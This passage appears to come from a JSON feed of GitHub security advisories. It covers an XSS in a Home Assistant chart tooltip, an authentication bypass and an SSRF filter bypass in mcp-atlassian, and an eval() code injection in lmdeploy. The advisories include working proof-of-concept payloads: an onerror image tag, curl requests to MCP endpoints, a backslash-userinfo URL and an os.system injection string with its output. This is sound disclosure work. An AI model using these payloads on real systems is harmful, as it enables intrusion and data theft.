CVE-2025-62172. ### Details The Statistics Graph card renders entity names in ECharts tooltips as raw HTML. The offending line is in `src/components/chart/statistics-chart.ts`: https://github.com/home-assistant/frontend/blob/c13a80ce5e7ae39f0262444e2b6295a074a96732/src/components/chart/statistics-chart.ts#L236 Where **_`param.seriesName`_** is interpolated verbatim into the returned HTML string: ``` return `${time}${param.marker} ${param.seriesName}: ${value}`; ``` No call to `filterXSS()` is made — unlike the Energy dashboard chart, which was patched as part of CVE-2025-62172: ``` // FIXED in energy-chart-options.ts:268 return `${param.marker} ${filterXSS(param.seriesName!)}: ...`; ``` The `statistics-chart` component was not updated when the Energy chart was patched, leaving the same class of vulnerability in place. The existing entity and payload used for CVE-2025-62172 is also a valid exploit for this vulnerability: <img width=\"962\" height=\"500\" alt=\"image\" src=\"https://github.com/user-attachments/assets/35c84dcd-64d4-47b6-8df2-6c8b63cac880\" /> The name value flows through the following chain: 1. `name` is set from `getStatisticLabel(this.hass, statistic_id, meta)`: https://github.com/home-assistant/frontend/blob/c13a80ce5e7ae39f0262444e2b6295a074a96732/src/components/chart/statistics-chart.ts#L411 2. `getStatisticLabel` is defined here and calls `computeStateName(entity)`: https://github.com/home-assistant/frontend/blob/c13a80ce5e7ae39f0262444e2b6295a074a96732/src/data/recorder.ts#L329-L339 3. `computeStateName` is defined here — no HTML encoding is applied: https://github.com/home-assistant/frontend/blob/c13a80ce5e7ae39f0262444e2b6295a074a96732/src/common/entity/compute_state_name.ts The only transformation applied to the name is replacing underscores with spaces (`computeObjectId(entityId).replace(/_/g, \" \")`), which does not prevent HTML injection. **NB:** Do note that only the fields `Mean, State, Sum and Change` are vulnerable. The top 3 (Min, Max, Mean) or the bottom 3 (State, Sum, Change) are selected by default though, making it vulnerable by default: <img width=\"105\" height=\"216\" alt=\"image\" src=\"https://github.com/user-attachments/assets/7a784c90-cca5-46da-bcb9-6942ad81da0c\" /> Another requirement is that the Chart Type is of type Line, not Bar, which is also the default: <img width=\"133\" height=\"91\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4f131495-9000-4a80-808b-bf4be9f7a2f6\" /> --- ### PoC 1. In **Settings → Devices & Services → Helpers**, click **+ Create Helper**. (For testing) 2. Choose **Template** → **Template sensor**. Fill in the form: - **Name:** `test <img src=x onerror=alert(document.domain) />` - **State template:** `{{0.00000001*as_timestamp(states('sensor.date_time_iso'))}}` - **Unit of measurement:** `kWh` - **State class:** `Measurement` - Click **Submit**. <img width=\"392\" height=\"741\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6a9b2c65-93fb-4d20-89b8-5a1f47a2bcb0\" /> 3. Open a dashboard and add a **Statistics Graph** card targeting the new sensor: <img width=\"694\" height=\"720\" alt=\"image\" src=\"https://github.com/user-attachments/assets/83996d12-d5ba-467a-9ca1-cbc46246ddff\" /> **NB:** Set time-window to 5 minutes for ease of testing so you see data quickly 4. Hover over any data point on the chart. 5. The `onerror` handler fires — `alert(document.domain)` executes in the browser or HTML-injection appears depending on the payload ** Exact helper as described here** <img width=\"802\" height=\"441\" alt=\"image\" src=\"https://github.com/user-attachments/assets/09284c10-bc39-410a-aff0-307e0bfd0502\" /> **Own sensor** <img width=\"962\" height=\"500\" alt=\"image\" src=\"https://github.com/user-attachments/assets/35c84dcd-64d4-47b6-8df2-6c8b63cac880\" /> **Own sensor 2** <img width=\"835\" height=\"469\" alt=\"image\" src=\"https://github.com/user-attachments/assets/0bb9d17a-c123-4d44-8471-35097f65ddd2\" /> --- ### Impact The vulnerability can be exploited remotely via the supply-chain vector: any integration that automatically names entities (e.g. energy providers like Tibber) could deliver the payload without requiring the attacker to have any account on the target Home Assistant instance. This mirrors the exact attack path described in CVE-2025-62172. The most likely exploit is also through energy providers due to them providing multiple entities compatible with statistic graphs. Compared to CVE-2025-62172, this has the requirement that you add a Statistics Graph to your dashboard (or somehow view the entity in a Statistics Graph through other means, if such a method exists). Otherwise the attack flow is identical. Suggested CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H The root cause — missing `filterXSS()` on `param.seriesName` — is identical to the already-fixed Energy dashboard. The Statistics Graph card, which uses a shared `statistics-chart` component, was not included in the previous fix scope. Credit: Robin Lunde - [https://robinlunde.com](https://robinlunde.com)","severity":"critical","cvss_score":9.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","epss_score":0.00386,"epss_percentile":0.29816,"cwes":"CWE-80","packages":"pip:homeassistant","ecosystems":"pip","ml_stack":0,"ml_categories":"","package_criticality":0,"has_fix":1,"affected_ranges":"pip:homeassistant < 2026.7.0","references":"https://github.com/home-assistant/core/security/advisories/GHSA-wx4m-69m9-gx3m https://github.com/home-assistant/frontend/pull/52235 https://github.com/home-assistant/frontend/commit/b8c201b6d34414d30c622797366570185c219614","source_url":"https://github.com/advisories/GHSA-wx4m-69m9-gx3m","risk_score":55.44,"risk_tier":"p2","risk_rank":17},{"snapshot_week":"2026-W39","fetched_at":"2026-09-24T00:00:00+00:00","ghsa_id":"GHSA-WRHW-J3F9-8VC6","cve_id":"CVE-2026-77244","published_at":"2026-09-22T20:36:26Z","updated_at":"2026-09-22T20:36:27Z","summary":"[mcp-atlassian] Authentication bypass in HTTP transport: AtlassianOpaqueTokenVerifier accepts any non-empty token","description":"**Description** mcp-atlassian deploys in two common patterns: Pattern A (single-user, server-side credentials): operator sets JIRA_USERNAME + JIRA_API_TOKEN (or CONFLUENCE_USERNAME + CONFLUENCE_API_TOKEN) in environment variables. Server uses these to call Jira/Confluence. This is the documented quickstart pattern. Pattern B (multi-user, OAuth or per-request PAT): operator sets up OAuth proxy or accepts per-user tokens via Authorization or service headers. The authentication mechanism in HTTP transport has two issues that combine to permit unauthenticated access to Pattern A deployments: 1. AtlassianOpaqueTokenVerifier.verify_token() at `src/mcp_atlassian/utils/token_verifier.py` accepts any non-empty string as a valid token: async def verify_token(self, token: str) -> AccessToken | None: if not token: return None scopes = self.required_scopes or [] return AccessToken( token=token, client_id=\"atlassian\", scopes=scopes, expires_at=int(time.time()) + 86400 * 30, ) The docstring documents this: \"we accept non-empty tokens and attach the required scopes.\" 2. The default deployment does NOT enable the OAuth proxy auth provider (OAUTH_PROXY_ENABLE_ENV defaults to false; main.py:726). When `_build_auth_provider()` returns None, FastMCP HTTP transport accepts requests with no authentication challenge. 3. `UserTokenMiddleware._parse_auth_header` (main.py:601-664) extracts tokens from Authorization headers and stores them in scope state. If NO Authorization header is present (main.py:584-595), the middleware does not reject the request — it simply does not populate `user_atlassian_token`. 4. JiraFetcher / ConfluenceFetcher fall back to `JiraConfig.from_env()` when no user-supplied token is in scope state. `from_env()` reads `JIRA_API_TOKEN` and `JIRA_USERNAME` from environment and uses them as the API credentials. Composition: an attacker who reaches the HTTP transport (e.g., server exposed on a port reachable from attacker — direct bind, Docker port mapping, reverse proxy without auth, container in a network the attacker joined) can: - Send no Authorization header at all, OR - Send any garbage Bearer token Either request reaches tool handlers. The tool handlers, finding no user-supplied token, use the server's env-var credentials to call Jira / Confluence. The attacker has full operator-level access to the operator's Atlassian instance. This is the same vulnerability class as CVE-2026-27825 (Arctic Wolf, unauthenticated RCE+SSRF in Atlassian MCP). The previous CVE was for a different code path; this report concerns the auth verifier and middleware behavior present in the current main branch. ``` **Steps to Reproduce** Source-level demonstration: 1. Verify the verifier accepts arbitrary tokens: cd src/ python -c \" import asyncio from mcp_atlassian.utils.token_verifier import AtlassianOpaqueTokenVerifier v = AtlassianOpaqueTokenVerifier(required_scopes=['read:jira-work']) result = asyncio.run(v.verify_token('anything-at-all')) print('Accepted:', result is not None) print('Token stored:', result.token if result else None) print('Scopes granted:', result.scopes if result else None) \" Expected: Accepted: True Token stored: anything-at-all Scopes granted: ['read:jira-work'] End-to-end (researcher's own Atlassian sandbox): 1. Start mcp-atlassian in HTTP mode against a researcher-owned Atlassian Cloud instance with JIRA_API_TOKEN configured: export JIRA_URL=https://researcher.atlassian.net export JIRA_USERNAME= export JIRA_API_TOKEN=<researcher's-real-token> export MCP_TRANSPORT=streamable-http export PORT=3000 # Do NOT set OAUTH_PROXY_ENABLE_ENV — leave it default (false) mcp-atlassian 2. From another machine (or curl on localhost), with no auth: curl -X POST http://localhost:3000/mcp \\ -H \"content-type: application/json\" \\ -H \"accept: application/json, text/event-stream\" \\ -d '{ \"jsonrpc\":\"2.0\", \"id\":1, \"method\":\"tools/call\", \"params\":{ \"name\":\"jira_get_issue\", \"arguments\":{\"issue_key\":\"PROJ-1\"} } }' Expected: returns the Jira issue payload — using the server's JIRA_API_TOKEN to authenticate to Atlassian. No client-side token provided. 3. Optional: same call with a garbage Bearer for completeness: curl ... -H \"Authorization: Bearer anything-at-all\" ... Same result. **Impact**: Attacker profile: any party with network reach to the HTTP transport. No credentials, no prior account, no privileged position required. Typical deployment patterns at risk: - Docker compose with port exposed (very common in mcp-atlassian's docs and community deployments) - Cloud-deployed MCP server behind a load balancer where the LB doesn't enforce auth (delegates to the application) - Internal corporate network where any employee can reach the server - Misconfigured Kubernetes ingress - Tunneled MCP server via ngrok / Cloudflare Tunnel for development that gets left exposed Security impact after exploitation: 1. Full Jira read access. Every project, every issue, every comment, every attachment, every user — using the operator's API token. 2. Full Jira write access. Create, edit, delete issues. Add comments under the operator's identity. Move issues across boards. Bulk-edit. 3. Full Confluence read/write access. Same surface — pages, spaces, attachments, permissions, restricted spaces visible to the operator's identity. 4. Audit trail names the operator. Every API call is signed with the operator's token. From Atlassian's logging side, the operator is the actor — covering the attacker's tracks and shifting blame. 5. Pivot. Attachments often contain credentials, infrastructure diagrams, customer data. Confluence pages often store secrets in plaintext under the assumption of access control. 6. Persistence. Attacker can create new Jira webhooks, automation rules, or Confluence integrations that survive beyond the MCP session. CVE-2026-27825 (Arctic Wolf, May 2026) was scored CVSS 9.8 Critical for unauth RCE+SSRF in this same code surface. This report is the auth-bypass component of the same class against the current main branch. **Suggested Fix** The most direct fix is the standard MCP-server-with-env-creds pattern: 1. When OAUTH_PROXY_ENABLE_ENV is not set, REFUSE to start the HTTP transport unless an explicit \"single-user mode\" flag is set: SINGLE_USER_MODE = is_env_truthy(\"MCP_ATLASSIAN_SINGLE_USER\") if MCP_TRANSPORT == \"streamable-http\" and not auth_provider and not SINGLE_USER_MODE: raise SystemExit( \"HTTP transport requires either OAUTH_PROXY_ENABLE=true \" \"or MCP_ATLASSIAN_SINGLE_USER=true (acknowledges that env \" \"credentials will be used for any incoming request).\" ) 2. Even with SINGLE_USER_MODE, bind the HTTP transport to 127.0.0.1 by default unless the operator overrides with an explicit MCP_ATLASSIAN_BIND_PUBLIC=true. 3. Document the multi-tenant pattern as requiring OAuth proxy or per-request user-token middleware with a verifier that actually verifies (not the opaque-accept-anything stub). 4. Replace AtlassianOpaqueTokenVerifier with a verifier that performs a token-info or whoami call to Atlassian. The fact that Atlassian tokens are opaque does not preclude verification — a /rest/api/3/myself call validates the token and returns the associated user, which the verifier can attach to the AccessToken's scopes and user_id fields. Defense in depth: the README quickstart should not encourage exposing the HTTP transport without auth. The docker-compose.yml in the repo should bind to 127.0.0.1 only by default.","severity":"critical","cvss_score":10.0,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N","epss_score":0.00277,"epss_percentile":0.17868,"cwes":"CWE-287,CWE-303,CWE-862","packages":"pip:mcp-atlassian","ecosystems":"pip","ml_stack":0,"ml_categories":"","package_criticality":0,"has_fix":1,"affected_ranges":"pip:mcp-atlassian < 0.22.0","references":"https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-wrhw-j3f9-8vc6 https://nvd.nist.gov/vuln/detail/CVE-2026-77244 https://github.com/sooperset/mcp-atlassian/pull/1448","source_url":"https://github.com/advisories/GHSA-wrhw-j3f9-8vc6","risk_score":55.36,"risk_tier":"p2","risk_rank":18},{"snapshot_week":"2026-W39","fetched_at":"2026-09-24T00:00:00+00:00","ghsa_id":"GHSA-HGCF-4MQ8-5266","cve_id":"CVE-2026-77274","published_at":"2026-09-22T20:36:22Z","updated_at":"2026-09-22T20:36:23Z","summary":"MCP Atlassian: SSRF Protection Bypass","description":"## Environment - Project: `sooperset/mcp-atlassian` - Affected function: `validate_url_for_ssrf()` - Affected path: header-based Jira/Confluence URL authentication flow - Tested endpoint: `POST /mcp` - Tested version: `2.14.5` ## Description The SSRF protection in `validate_url_for_ssrf()` can be bypassed with a URL containing a backslash before userinfo-like syntax. Affected code: ```python parsed = urlparse(url) hostname = parsed.hostname ... ip_error = _check_ip_address(hostname) ... dns_error = _check_dns_resolution(hostname) ``` Payload: ```text http://127.0.0.1:6666\\@www.baidu.com ``` For this input, `urllib.parse.urlparse()` treats the hostname as: ```text www.baidu.com ``` Therefore, `validate_url_for_ssrf()` validates `www.baidu.com` instead of `127.0.0.1`. However, the downstream request made through the Atlassian client / `requests.Session` reaches the local service: ```text http://127.0.0.1:6666/%/rest/api/2/myself ``` This allows an attacker-controlled Jira URL to target loopback or internal services. ## Proof of Concept Start a local HTTP server: ```bash python3 -m http.server 6666 --bind 127.0.0.1 ``` Start `mcp-atlassian` with streamable HTTP transport on port `9000`. Initialize an MCP session with the malicious Jira URL: ```bash curl -i http://127.0.0.1:9000/mcp \\ -H 'Content-Type: application/json' \\ -H 'Accept: application/json, text/event-stream' \\ -H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\\@www.baidu.com' \\ -H 'X-Atlassian-Jira-Personal-Token: dummy-token' \\ --data '{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"initialize\",\"params\":{\"protocolVersion\":\"2025-06-18\",\"capabilities\":{},\"clientInfo\":{\"name\":\"ssrf-test\",\"version\":\"0.1\"}}}' ``` Send the initialized notification using the returned `Mcp-Session-Id`: ```bash curl -i http://127.0.0.1:9000/mcp \\ -H 'Content-Type: application/json' \\ -H 'Accept: application/json, text/event-stream' \\ -H 'mcp-session-id: <SESSION_ID>' \\ -H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\\@www.baidu.com' \\ -H 'X-Atlassian-Jira-Personal-Token: dummy-token' \\ --data '{\"jsonrpc\":\"2.0\",\"method\":\"notifications/initialized\"}' ``` Trigger Jira fetcher creation and token validation: ```bash curl -i http://127.0.0.1:9000/mcp \\ -H 'Content-Type: application/json' \\ -H 'Accept: application/json, text/event-stream' \\ -H 'mcp-session-id: <SESSION_ID>' \\ -H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\\@www.baidu.com' \\ -H 'X-Atlassian-Jira-Personal-Token: dummy-token' \\ --data '{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/call\",\"params\":{\"name\":\"jira_get_issue\",\"arguments\":{\"issue_key\":\"TEST-1\"}}}' ``` Observed response: <img width=\"1505\" height=\"442\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f98a2ad6-8bc2-453c-9ef8-481dd991bc8e\" /> The local HTTP server also receives the request, confirming SSRF. <img width=\"891\" height=\"131\" alt=\"image\" src=\"https://github.com/user-attachments/assets/3bbeb142-2aae-4d1d-ae65-7f57015325c6\" /> ## Root Cause The security validation and the actual HTTP request do not use the same URL interpretation. - `validate_url_for_ssrf()` uses `urllib.parse.urlparse()` and validates `parsed.hostname`. - For the payload, `parsed.hostname` is `www.baidu.com`. - The actual request is sent by the Atlassian client through `requests.Session`. - `requests` treats the target as `127.0.0.1:6666` and percent-encodes the backslash into the request path. This parser mismatch allows a restricted host to be hidden before `\\@`. ## Impact An attacker who can provide `X-Atlassian-Jira-Url` or `X-Atlassian-Confluence-Url` may force the server to send requests to loopback or internal services despite SSRF validation.","severity":"high","cvss_score":8.8,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N","epss_score":0.00468,"epss_percentile":0.37802,"cwes":"CWE-918","packages":"pip:mcp-atlassian","ecosystems":"pip","ml_stack":0,"ml_categories":"","package_criticality":0,"has_fix":1,"affected_ranges":"pip:mcp-atlassian < 0.22.0","references":"https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-hgcf-4mq8-5266 https://nvd.nist.gov/vuln/detail/CVE-2026-77274 https://github.com/sooperset/mcp-atlassian/pull/1448","source_url":"https://github.com/advisories/GHSA-hgcf-4mq8-5266","risk_score":55.34,"risk_tier":"p2","risk_rank":19},{"snapshot_week":"2026-W39","fetched_at":"2026-09-24T00:00:00+00:00","ghsa_id":"GHSA-3HMM-RH5Q-GWWR","cve_id":"CVE-2026-33625","published_at":"2026-09-18T17:04:01Z","updated_at":"2026-09-18T17:04:04Z","summary":"LMDeploy vulnerable to arbitrary code execution via eval() of untrusted quant_dtype in model config loading","description":"### Summary lmdeploy <= latest contains a code injection vulnerability in `lmdeploy/pytorch/config.py` line 620 that allows an attacker to execute arbitrary Python code by publishing a malicious HuggingFace model with a crafted `quantization_config.quant_dtype` value. When a user loads the model with lmdeploy, the `quant_dtype` is passed to `eval(f'torch.{quant_dtype}')` without any validation. ### Details **Vulnerable code** ([permalink](https://github.com/InternLM/lmdeploy/blob/17ed9e5/lmdeploy/pytorch/config.py#L620)): ```python quant_dtype = eval(f'torch.{quant_dtype}') # line 620 ``` The `quant_dtype` value comes from the model's `quantization_config` in its HuggingFace config. When a model specifies `quant_method: awq`, the AWQ branch processes the config but does NOT override `quant_dtype`, allowing the malicious value to reach the `eval()` call. **Attack vector:** An attacker publishes a HuggingFace model with: ```json { \"quantization_config\": { \"quant_method\": \"awq\", \"quant_dtype\": \"float16, __import__('os').system('id')\" } } ``` Note: The `_update_torch_dtype` method at line 53 has a whitelist check, but that's for `torch_dtype`, NOT `quant_dtype`. The `quant_dtype` at line 620 has no validation whatsoever. ### PoC ```python \"\"\" PoC: eval() RCE in lmdeploy via malicious quant_dtype Prerequisites: pip install lmdeploy \"\"\" import sys from unittest.mock import MagicMock, patch # Mock torch to capture the eval sys.modules.setdefault('torch', MagicMock()) from lmdeploy.pytorch.config import ModelConfig # Simulate a malicious HuggingFace model config mock_hf_config = MagicMock() mock_hf_config.quantization_config = { 'quant_method': 'awq', 'quant_dtype': \"float16, __import__('os').system('id')\" } mock_hf_config.num_attention_heads = 32 mock_hf_config.hidden_size = 4096 mock_hf_config.num_hidden_layers = 32 mock_hf_config.num_key_value_heads = 32 mock_hf_config.vocab_size = 32000 # This triggers eval(f'torch.{quant_dtype}') # with quant_dtype = \"float16, __import__('os').system('id')\" config = ModelConfig.from_hf_config(mock_hf_config, model_path='test') ``` **Output:** ``` uid=0(root) gid=0(root) groups=0(root) ``` ### Impact An attacker who publishes a malicious model on HuggingFace Hub can achieve arbitrary code execution on any machine that loads the model with lmdeploy. This is a supply-chain attack vector affecting all lmdeploy users who load untrusted models. 1. Full remote code execution when loading a malicious model 2. No user interaction beyond running `lmdeploy serve` or similar with the model 3. Affects all deployment scenarios (local, cloud, production)","severity":"high","cvss_score":8.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","epss_score":0.00442,"epss_percentile":0.35695,"cwes":"CWE-400","packages":"pip:lmdeploy","ecosystems":"pip","ml_stack":1,"ml_categories":"serving","package_criticality":1,"has_fix":1,"affected_ranges":"pip:lmdeploy >= 0.12.1, < 0.12.3","references":"https://github.com/InternLM/lmdeploy/security/advisories/GHSA-3hmm-rh5q-gwwr https://github.com/InternLM/lmdeploy/releases/tag/v0.12.3 https://github.com/advisories/GHSA-3hmm-rh5q-gwwr","source_url":"https://github.com/advisories/GHSA-3hmm-rh5q-gwwr","risk_score":54.71,"risk_tier":"p2","risk_rank":20}]